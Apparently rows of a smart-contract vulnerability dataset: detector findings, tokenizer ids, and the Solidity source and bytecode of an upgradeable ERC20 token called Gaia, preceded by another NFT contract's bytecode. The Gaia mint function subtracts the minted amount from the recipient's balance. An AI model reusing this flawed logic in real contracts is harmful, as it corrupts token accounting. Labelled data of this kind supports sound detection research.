7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f6d6178204e465420706572206164647265737320657863656564656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f6d6178204e4654206c696d697420657863656564656400000000000000000000600082015250565b7f6d6178206d696e7420616d6f756e74207065722073657373696f6e206578636560008201527f6564656400000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f74686520636f6e74726163742069732070617573656400000000000000000000600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f696e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f75736572206973206e6f742077686974656c6973746564000000000000000000600082015250565b7f6e65656420746f206d696e74206174206c656173742031204e46540000000000600082015250565b6153bb81614a6f565b81146153c657600080fd5b50565b6153d281614a81565b81146153dd57600080fd5b50565b6153e981614a8d565b81146153f457600080fd5b50565b61540081614ad9565b811461540b57600080fd5b5056fea26469706673582212205cdfd3a9ec69d19522c672493143e9785d0c828414c70ad0a3f70b9195128aa564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 16409, 2692, 2575, 2497, 22203, 2063, 16932, 22907, 2581, 2050, 2629, 6305, 2692, 22610, 2497, 22932, 2278, 2581, 2620, 18939, 9468, 16086, 2050, 24434, 2475, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 2219, 3085, 1012, 14017, 1000, 1025, 3206, 2033, 2912, 24065, 20464, 12083, 2003, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1010, 2219, 3085, 1063, 2478, 7817, 2005, 21318, 3372, 17788, 2575, 1025, 5164, 2270, 2918, 9496, 1025, 5164, 2270, 10289, 3726, 9453, 24979, 2072, 1025, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,851
0x977e024F8802A6bb95A61eC5Ec6cbDAC312cde26
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: contracts/gaia/gaia.sol pragma solidity ^0.6.0; // SPDX-License-Identifier: GNU GENERAL PUBLIC LICENSE contract Gaia is ERC20UpgradeSafe, OwnableUpgradeSafe { using SafeMath for uint256; modifier validRecipient(address to) { require(to != address(0x0)); require(to != address(this)); _; } modifier onlyMinter() { require(minter[msg.sender]); _; } uint256 private constant DECIMALS = 9; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_SUPPLY = 50 * 10 ** 9 * 10 ** DECIMALS; uint256 private constant MAX_SUPPLY = ~uint128(0); uint256 private _totalSupply; mapping (address => bool) public minter; mapping (address => uint256) private _gaiaBalances; mapping (address => mapping (address => uint256)) private _allowedGaia; event EditMinter(address minter, bool val); function initialize() public initializer { OwnableUpgradeSafe.__Ownable_init(); ERC20UpgradeSafe.__ERC20_init("Gaia", "Gaia"); ERC20UpgradeSafe._setupDecimals(uint8(DECIMALS)); _totalSupply = INITIAL_SUPPLY; _gaiaBalances[msg.sender] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } function setMinter(address _minter, bool _val) external onlyOwner { minter[_minter] = _val; emit EditMinter(_minter, _val); } function burn(address from, uint256 amount) external onlyMinter { require(_gaiaBalances[from] >= amount, "insufficient Gaia balance to burn"); _totalSupply = _totalSupply.sub(amount); _gaiaBalances[from] = _gaiaBalances[from].sub(amount); emit Transfer(from, address(0x0), amount); } function mint(address to, uint256 amount) external onlyMinter { _totalSupply = _totalSupply.add(amount); _gaiaBalances[to] = _gaiaBalances[to].sub(amount); emit Transfer(address(0x0), to, amount); } function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address who) public override view returns (uint256) { return _gaiaBalances[who]; } function transfer(address to, uint256 value) public override validRecipient(to) returns (bool) { _gaiaBalances[msg.sender] = _gaiaBalances[msg.sender].sub(value); _gaiaBalances[to] = _gaiaBalances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function allowance(address owner_, address spender) public override view returns (uint256) { return _allowedGaia[owner_][spender]; } function transferFrom(address from, address to, uint256 value) public override validRecipient(to) returns (bool) { _allowedGaia[from][msg.sender] = _allowedGaia[from][msg.sender].sub(value); _gaiaBalances[from] = _gaiaBalances[from].sub(value); _gaiaBalances[to] = _gaiaBalances[to].add(value); emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public override validRecipient(spender) returns (bool) { _allowedGaia[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) { _allowedGaia[msg.sender][spender] = _allowedGaia[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedGaia[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) { uint256 oldValue = _allowedGaia[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedGaia[msg.sender][spender] = 0; } else { _allowedGaia[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedGaia[msg.sender][spender]); return true; } }
0x608060405234801561001057600080fd5b50600436106101515760003560e01c8063715018a6116100cd578063a457c2d711610081578063cf456ae711610066578063cf456ae714610469578063dd62ed3e146104a4578063f2fde38b146104df57610151565b8063a457c2d7146103f7578063a9059cbb1461043057610151565b80638da5cb5b116100b25780638da5cb5b1461038557806395d89b41146103b65780639dc29fac146103be57610151565b8063715018a6146103755780638129fc1c1461037d57610151565b8063313ce567116101245780633dd08c38116101095780633dd08c38146102d457806340c10f191461030757806370a082311461034257610151565b8063313ce5671461027d578063395093511461029b57610151565b806306fdde0314610156578063095ea7b3146101d357806318160ddd1461022057806323b872dd1461023a575b600080fd5b61015e610512565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610198578181015183820152602001610180565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020c600480360360408110156101e957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356105c6565b604080519115158252519081900360200190f35b610228610681565b60408051918252519081900360200190f35b61020c6004803603606081101561025057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610687565b6102856107fb565b6040805160ff9092168252519081900360200190f35b61020c600480360360408110156102b157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610804565b61020c600480360360208110156102ea57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166108b1565b6103406004803603604081101561031d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356108c6565b005b6102286004803603602081101561035857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610987565b6103406109af565b610340610aaf565b61038d610ca1565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61015e610cbd565b610340600480360360408110156103d457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610d3c565b61020c6004803603604081101561040d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610e7a565b61020c6004803603604081101561044657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610f97565b6103406004803603604081101561047f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135151561109c565b610228600480360360408110156104ba57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166111bc565b610340600480360360208110156104f557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166111f4565b60688054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105bc5780601f10610591576101008083540402835291602001916105bc565b820191906000526020600020905b81548152906001019060200180831161059f57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff81166105e957600080fd5b73ffffffffffffffffffffffffffffffffffffffff811630141561060c57600080fd5b33600081815260cc6020908152604080832073ffffffffffffffffffffffffffffffffffffffff891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60c95490565b60008273ffffffffffffffffffffffffffffffffffffffff81166106aa57600080fd5b73ffffffffffffffffffffffffffffffffffffffff81163014156106cd57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8516600090815260cc60209081526040808320338452909152902054610708908461137f565b73ffffffffffffffffffffffffffffffffffffffff8616600081815260cc6020908152604080832033845282528083209490945591815260cb9091522054610750908461137f565b73ffffffffffffffffffffffffffffffffffffffff808716600090815260cb6020526040808220939093559086168152205461078c90846113c8565b73ffffffffffffffffffffffffffffffffffffffff808616600081815260cb602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b606a5460ff1690565b33600090815260cc6020908152604080832073ffffffffffffffffffffffffffffffffffffffff8616845290915281205461083f90836113c8565b3360008